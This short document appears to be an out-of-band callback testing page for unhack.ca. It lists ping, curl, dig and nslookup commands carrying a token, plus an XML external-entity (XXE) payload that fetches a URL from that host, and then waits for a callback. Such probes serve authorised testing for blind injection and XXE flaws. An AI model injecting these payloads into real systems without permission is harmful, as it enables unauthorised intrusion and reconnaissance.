$ ping -c1 -p 00900112e11551048b306512eabd1c00 unhack.ca
 
$ curl http://unhack.ca/p/900112e11551048b306512eabd1c
 
$ dig 900112e11551048b306512eabd1c @unhack.ca
 
$ dig 900112e11551048b306512eabd1c.ns.unhack.ca
 
C:\> nslookup 900112e11551048b306512eabd1c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/900112e11551048b306512eabd1c">]>
    <foo>&xxe;</foo>
 
Waiting for ping...